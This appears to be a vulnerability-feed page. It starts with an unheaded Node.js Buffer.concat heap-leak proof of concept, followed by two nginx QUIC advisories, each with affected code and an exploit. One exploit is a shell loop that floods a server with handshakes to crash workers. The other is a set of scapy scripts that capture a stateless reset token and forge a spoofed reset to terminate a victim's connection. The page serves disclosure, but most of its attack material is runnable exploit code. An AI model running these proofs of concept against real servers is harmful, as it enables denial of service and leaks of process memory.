/* Run on a Node version before cc6c18802dc6dfc041f359bb417187a7466e9e8f */

// Attacker-controlled Uint8Array with spoofed .length getter inflates allocation size.
const u8_1 = new Uint8Array([1, 2, 3, 4]);
const u8_2 = new Uint8Array([5, 6, 7, 8]);
Object.defineProperty(u8_1, 'length', { get() { return 1024 * 1024; } }); // 1MB

const b = Buffer.concat([u8_1, u8_2]);
console.log('returned length:', b.length); // BEFORE PATCH: 1048576 + 8 (or similar huge value)

// Only first 8 bytes are controlled; the rest is uninitialized heap data.
// Demonstrate leak by showing non-zero/unexpected bytes in the tail.
let leaked = 0;
for (let i = 8; i < b.length; i++) {
  if (b[i] !== 0) { leaked++; if (leaked > 32) break; }
}
console.log('non-zero bytes after concatenated data (leak indicator):', leaked);

// Print a slice of leaked memory.
console.log('tail sample:', b.subarray(8, 8 + 64));

🔥 HIGH VERIFIED NULL Pointer Dereference (Remote Denial of Service)

Feb 27, 2026, 03:35 PM — nginx/nginx

Commit: c67bf9415fca91434f047d6113435e4cc699c859

Author: user.email

Before the patch, the QUIC OpenSSL compatibility keylog callback discarded failures from ngx_quic_compat_set_encryption_secret(). Under memory pressure (allocation failure), the encryption context (secret-&gt;ctx) could remain NULL, yet ngx_quic_compat_create_record() would proceed to encrypt and dereference the NULL ctx, crashing the NGINX worker. The patch checks the return value, marks the QUIC connection as errored to fail the handshake cleanly, and adds a NULL guard in record creation to prevent the crash.

🔍 View Affected Code & PoC

Affected Code

(void) ngx_quic_compat_set_encryption_secret(c, &com->keys, level,
                                             cipher, secret, n);
...
secret = &rec->keys->secret;
ngx_memcpy(nonce, secret->iv.data, secret->iv.len);
/* later: encrypt using secret->ctx (could be NULL) */

Proof of Concept

# PoC: remote crash via QUIC handshake while forcing allocation failure (OOM)
# This demonstrates an exploitable, remotely triggerable DoS when QUIC is enabled
# and the worker runs out of memory during the TLS keylog callback.

# 1) Run nginx with QUIC enabled (HTTP/3) in a memory-cgroup limited container.
# Example docker run limiting memory so malloc failures occur during handshake:
#   docker run --rm -it --memory=64m --pids-limit=256 -p 443:443/udp nginx:quic
# (Use an nginx build/config that enables QUIC and listens on 443 quic.)

# 2) From another host, flood with QUIC handshakes to increase memory pressure:
# Using ngtcp2's client to rapidly initiate TLS/QUIC handshakes:
for i in $(seq 1 2000); do
  ngtcp2-client --exit-on-all-streams-close --timeout=1 127.0.0.1 443 >/dev/null 2>&1 &
done
wait

# Expected behavior BEFORE patch:
# - Under memory pressure, ngx_quic_compat_set_encryption_secret() can fail,
#   leaving secret->ctx NULL.
# - A subsequent CRYPTO record creation attempts to encrypt using NULL ctx,
#   leading to SIGSEGV and worker process crash (remote DoS).
#   (In logs/dmesg you'll see a segfault in the worker.)

# Expected behavior AFTER patch:
# - Handshake fails with internal error; worker does not crash.

🔥 HIGH VERIFIED Improper Authentication / Cryptographic Token Misbinding (QUIC Stateless Reset token exposure leading to DoS)

Feb 27, 2026, 03:30 PM — nginx/nginx

Commit: f72c7453f95143cd413dbc01d1ae9a28c67b39de

Author: Roman Arutyunyan

Before the patch, the QUIC stateless reset token was derived only from a shared secret and the connection ID, making the token identical across workers. In a multi-worker configuration with packet steering, an attacker could intentionally route a victim connection's packet to a different worker to trigger emission/observation of the stateless reset token, then forge a QUIC Stateless Reset to immediately terminate the victim connection (remote DoS). The patch binds the derived token to the worker number by incorporating ngx_worker into the KDF input, making tokens differ per worker and preventing cross-worker token acquisition/abuse.

🔍 View Affected Code & PoC

Affected Code

tmp.data = secret;
 tmp.len = NGX_QUIC_SR_KEY_LEN;

 if (ngx_quic_derive_key(c->log, "sr_token_key", &tmp, cid, token,
                         NGX_QUIC_SR_TOKEN_LEN) != NGX_OK) {

Proof of Concept

Prereqs: nginx built with QUIC, configured with multiple workers (e.g., worker_processes 4;), and client behind NAT or attacker can spoof/own a 5-tuple to influence RSS/ECMP so packets land on different workers.

1) Establish a QUIC connection from victim client (or attacker-controlled client) to nginx and note the server-chosen DCID used in 1-RTT packets.

2) Force a packet for that existing connection to be processed by the "wrong" worker (e.g., by changing UDP source port so Linux RSS hashes to another receive queue/worker while keeping the same QUIC DCID):
   # pseudo: send a 1-RTT packet with same DCID but altered UDP 5-tuple
   python3 - <<'PY'
from scapy.all import *
# Requires QUIC packet crafting; below is schematic.
SERVER_IP='1.2.3.4'
SERVER_PORT=443
SRC_IP='victim-or-attacker-ip'
NEW_SPORT=40000  # choose to steer to different worker via RSS hash
DCID=bytes.fromhex('00112233445566778899aabbccddeeff')  # observed DCID
# payload must be a syntactically valid short-header 1-RTT QUIC packet for that DCID
quic_pkt = b'\x40' + DCID + b'\x00'*32
send(IP(src=SRC_IP,dst=SERVER_IP)/UDP(sport=NEW_SPORT,dport=SERVER_PORT)/Raw(load=quic_pkt), verbose=False)
PY

3) Observe that nginx responds with a QUIC Stateless Reset on that 5-tuple. Capture it with tcpdump:
   sudo tcpdump -ni any udp port 443 -vv -X
   The Stateless Reset contains a 16-byte token at the end of the UDP payload.

4) Use the captured token to kill the real connection: send a forged Stateless Reset to the victim's original 5-tuple (or to the peer that will accept it), with the token at the end:
   python3 - <<'PY'
from scapy.all import *
SERVER_IP='1.2.3.4'
VICTIM_IP='victim-ip'
SPORT=443
DPORT=54321  # victim's UDP port used for the QUIC connection
TOKEN=bytes.fromhex('deadbeef'*4)  # replace with captured 16-byte token
# QUIC Stateless Reset is an unpredictable-looking packet >= 21 bytes, token must be last 16 bytes
payload = b'\x00'*32 + TOKEN
send(IP(src=SERVER_IP,dst=VICTIM_IP)/UDP(sport=SPORT,dport=DPORT)/Raw(load=payload), verbose=False)
PY

Expected result (pre-patch): the victim QUIC stack accepts the Stateless Reset and immediately closes the connection (DoS). Post-patch: token differs per worker, so a token obtained via wrong-worker routing will not validate for the victim's actual worker-path, and the forged reset is ignored.